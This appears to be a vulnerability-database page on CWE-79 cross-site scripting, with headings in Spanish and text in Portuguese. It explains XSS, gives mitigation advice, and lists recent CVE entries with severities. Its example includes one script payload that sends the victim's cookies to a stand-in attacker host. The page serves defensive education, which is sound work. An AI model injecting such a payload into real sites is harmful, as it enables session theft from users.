Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64339HIGHClipBucket v5: Stored XSS Vulnerability in Manage PlaylistsEPSS 0.3%CVE-2026-107759HIGHWPO365 | MICROSOFT 365 GRAPH MAILER <= 6.2 - Unauthenticated Stored Cross-Site Scripting via Email Subject via wp_mailEPSS 0.3%CVE-2025-3019MEDIUMCross-site scripting vulnerabilities in KNIME Business Hub web pagesEPSS 0.3%CVE-2026-4578MEDIUMcode-projects Exam Form Submission update_s3.php cross site scriptingEPSS 0.3%CVE-2026-88208MEDIUMMicrosoft Office SharePoint Spoofing VulnerabilityEPSS 0.3%CVE-2025-29280MEDIUMStored cross-site scripting vulnerability exists in PerfreeBlog v4.0.11 in the website name field of the backend system settings interface aEPSS 0.3%CVE-2024-2923MEDIUMMagical Addons For Elementor ( Header Footer Builder, Free Elementor Widgets, Elementor Templates Library ) <= 1.1.37 - Authenticated (Contributor+) Stored Cross-Site Scripting via Text Effect WidgetEPSS 0.3%CVE-2024-43330HIGHWordPress PowerPack for Beaver Builder plugin < 2.37.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-100316HIGHEuropean VAT Compliance Assistant for WooCommerce <= 1.36.10 - Unauthenticated Stored Cross-Site Scripting via CF-IPCountry HeaderEPSS 0.3%CVE-2024-35706HIGHWordPress Heateor Social Login WordPress plugin <= 1.1.32 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41591MEDIUMDrayTek Vigor3910 devices through 4.3.2.6 allow unauthenticated DOM-based reflected XSS.EPSS 0.3%CVE-2026-118257HIGHVue I18n: escapeParameter does not prevent XSS through srcdoc in translation messagesEPSS 0.3%CVE-2024-5789MEDIUMTriton Lite <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button ShortcodeEPSS 0.3%CVE-2025-53492LOWStored XSS in MintyDocsEPSS 0.3%CVE-2024-46494MEDIUMA cross-site scripting (XSS) vulnerability in Typecho v1.2.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payloadEPSS 0.3%CVE-2024-13749MEDIUMStaffList <= 3.2.3 - Cross-Site Request Forgery to Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-43111CRITICALLong pressing on a download link could potentially allow Javascript commands to be executed within the browser This vulnerability affects FiEPSS 0.3%CVE-2024-37211HIGHWordPress AliExpress Dropshipping with AliNext Lite plugin <= 3.3.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-53974MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-2344HIGHStored XSS on Plunet BusinessManagerEPSS 0.3%